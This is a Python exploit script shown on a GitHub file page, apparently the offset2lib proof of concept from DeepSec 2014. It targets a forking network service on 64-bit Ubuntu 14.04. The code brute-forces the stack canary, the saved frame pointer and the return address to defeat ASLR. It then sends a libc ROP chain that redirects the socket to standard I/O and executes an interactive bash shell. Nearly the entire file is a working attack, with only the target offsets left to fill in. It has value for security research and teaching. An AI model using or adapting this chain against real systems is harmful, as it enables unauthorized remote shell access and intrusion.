-
Notifications
You must be signed in to change notification settings - Fork 9
/
Linux_Exploit_ByPass_64bit_ASLR_on_Ubuntu-14.04_Reference.py
334 lines (252 loc) · 9.12 KB
/
Linux_Exploit_ByPass_64bit_ASLR_on_Ubuntu-14.04_Reference.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
#!/usr/bin/python
'''
* $FILE: exploit-offset2lib-ubuntu-14.04.1-LTS.py
*
* $VERSION$
*
* Authors: Hector Marco <[email protected]>
* Ismael Ripoll <[email protected]>
*
* Date: Released 20 November 2014 (DeepSec 2014)
*
* Attack details: http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
*
* $LICENSE:
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
'''
import struct
import os,sys
import socket
import random
import string
import telnetlib
import time
import base64
import getopt
from struct import pack
server = ''
port = ''
#################################### Start params ##############################
# Exploit configuration parameters.. Must be adjusted to the target system and app.
OFFSET_SAVED_RIP = 0
PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL = 0
OFFSET_TO_LIBC = 0
#################################### End params ################################
def get_connection():
s=socket.socket()
s.connect((server,port))
return s
def interact_shell(s):
sys.stdout.flush()
s.send("");
time.sleep(0.2)
sys.stdout.write(s.recv(4096))
while True:
try:
sys.stdout.flush()
c = sys.stdin.readline()
s.send(c)
time.sleep(0.5)
sys.stdout.write(s.recv(4096))
except KeyboardInterrupt, e:
print " quit"
s.close()
break
def send2server(payload):
# print "[Payload]\n[0x%s]\n" % payload.encode("hex")
s = get_connection()
s.send("Hi server")
res = s.recv(1024)
s.send(payload)
return s.recv(1024)
#################### MAIN ####################
def usage():
print 'XXX.py -s <server> -p <port>'
sys.exit(2)
def main(argv):
global server
global port
try:
opts, args = getopt.getopt(argv,"hs:p:",["s=","p="])
if len(sys.argv) == 1:
usage()
except getopt.GetoptError:
usage()
for opt, arg in opts:
if opt == '-h':
usage()
elif opt in ("-s", "--server"):
server = arg
elif opt in ("-p", "--port"):
port = int(arg)
if __name__ == "__main__":
main(sys.argv[1:])
print "[+] Exploit ASLR 64 bit systems "
print "[+] Trying to find out the canary offset "
p = "\xff\xff\xff\xff\xff\xff\xff\xff"
while True:
res = send2server(p)
if res == "":
break
p += "\xff\xff\xff\xff\xff\xff\xff\xff"
# Remove last char
p = p[:-8]
print " [+] Offset is %d bytes" % len(p)
print "[+] Brute forcing stack canary "
start = len(p)
stop = len(p)+8
while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))
if res != "":
p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break
if i == 255:
print "[-] Exploit failed"
sys.exit(-1)
canary = p[stop:start-1:-1].encode("hex")
print " [+] SSP value is 0x%s" % canary
#set a valid RBP ....
print "[+] Brute forcing RBP "
start = len(p)
stop = len(p)+8
while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))
if res != "":
p = p + chr(i)
#print "\t[+] Byte found 0x%02x" % i
break
if i == 255:
print "[-] Exploit failed"
sys.exit(-1)
ebp = p[stop:start-1:-1].encode("hex")
print " [+] EBP value is 0x%s" % ebp
print "[+] Brute forcing Saved RIP "
# We know the first and half byte so ...
# Add the first byte to the payload
p += chr((OFFSET_SAVED_RIP & 0xff))
# We aslo know the first half of the second byte
half_second_byte_eip = (OFFSET_SAVED_RIP >> 8)
for i in range(0,16):
res = send2server( p + chr(half_second_byte_eip) )
if res != "":
p += chr(half_second_byte_eip)
break
half_second_byte_eip += 0x10
start = len(p)
stop = len(p)+6 # We only need find out 7 bytes
while len(p) < stop:
for i in xrange(0,256):
res = send2server(p + chr(i))
if res != "":
p = p + chr(i)
break
if i == 255:
print "[-] Exploit failed"
sys.exit(-1)
eip = p[stop:start-3:-1].encode("hex")
print " [+] RIP value is 0x%s" % eip
text_base = (int(eip, 16) &~ 0xfff) - (PAGE_NUMBER_OF_NEXT_INSTRUCTION_TO_CALL << 12)
print "[+] Text Base at 0x%016x" % text_base
libc_base = (int(text_base) - OFFSET_TO_LIBC)
print "[+] Libc Base at 0x%016x" % libc_base
# Remove last 8 bytes (Saved RIP)
p = p[:-8]
off = libc_base
# dup2 to the three standard I/O FD (STDIN, STDOUT, STDERR)
# dup2(4,0)
p += pack('<Q', off + 0x00000000000246f5) # pop rsi ; ret
p += pack("<Q", 0x0)
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack("<Q", 0x4)
p += pack('<Q', off + 0x00000000000193b8) # pop rax ; ret
p += pack("<Q", 0x0000000000000021) # execve
p += pack('<Q', off + 0x00000000000c28d5) # syscall ; ret
# dup2(4,1)
p += pack('<Q', off + 0x00000000000246f5) # pop rsi ; ret
p += pack("<Q", 0x1)
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack("<Q", 0x4)
p += pack('<Q', off + 0x00000000000193b8) # pop rax ; ret
p += pack("<Q", 0x0000000000000021) # execve
p += pack('<Q', off + 0x00000000000c28d5) # syscall ; ret
# dup2(4,2)
p += pack('<Q', off + 0x00000000000246f5) # pop rsi ; ret
p += pack("<Q", 0x2)
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack("<Q", 0x4)
p += pack('<Q', off + 0x00000000000193b8) # pop rax ; ret
p += pack("<Q", 0x0000000000000021) # execve
p += pack('<Q', off + 0x00000000000c28d5) # syscall ; ret
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf080) # @ .data
p += pack('<Q', off + 0x0000000000001b8e) # pop rdx ; ret
p += "/bin/bas" # /bin/bas
p += pack('<Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf088) # @ .data + 8
p += pack('<Q', off + 0x0000000000001b8e) # pop rdx ; ret
p += "hAAAAAAA" # hAAAAAAA
p += pack('<Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf089) # @ .data + 9
p += pack('<Q', off + 0x0000000000089705) # xor rax, rax ; ret
p += pack('<Q', off + 0x0000000000092829) # mov qword ptr [rdi], rax ; pop rbx ; pop rbp ; ret
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf08a) # @ .data + 10
p += pack('<Q', off + 0x0000000000001b8e) # pop rdx ; ret
p += "-iAAAAAA" # -iAAAAAA
p += pack('<Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf08c) # @ .data + 12
p += pack('<Q', off + 0x0000000000089705) # xor rax, rax ; ret
p += pack('<Q', off + 0x0000000000092829) # mov qword ptr [rdi], rax ; pop rbx ; pop rbp ; ret
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf08d) # @ .data + 13
p += pack('<Q', off + 0x0000000000001b8e) # pop rdx ; ret
p += pack('<Q', off + 0x00000000003bf080) # @ .data
p += pack('<Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf095) # @ .data + 21
p += pack('<Q', off + 0x0000000000001b8e) # pop rdx ; ret
p += pack('<Q', off + 0x00000000003bf08a) # @ .data + 10
p += pack('<Q', off + 0x000000000001fc27) # mov qword ptr [rdi], rdx ; ret
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf09d) # @ .data + 29
p += pack('<Q', off + 0x0000000000089705) # xor rax, rax ; ret
p += pack('<Q', off + 0x0000000000092829) # mov qword ptr [rdi], rax ; pop rbx ; pop rbp ; ret
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', off + 0x0000000000022a0a) # pop rdi ; ret
p += pack('<Q', off + 0x00000000003bf080) # @ .data
p += pack('<Q', off + 0x00000000000246f5) # pop rsi ; ret
p += pack('<Q', off + 0x00000000003bf08d) # @ .data + 13
p += pack('<Q', off + 0x0000000000001b8e) # pop rdx ; ret
p += pack('<Q', off + 0x00000000003bf09d) # @ .data + 29
p += pack('<Q', off + 0x00000000000193b8) # pop rax ; ret
p += pack("<Q", 0x000000000000003b) # execve
p += pack('<Q', off + 0x00000000000c28d5) # syscall ; ret
print "[+] Getting shell ..."
s = get_connection();
s.send("Exploit by punxos"); # send some bytes
res = s.recv(256); # read banner
s.send(p); # send payload
interact_shell(s);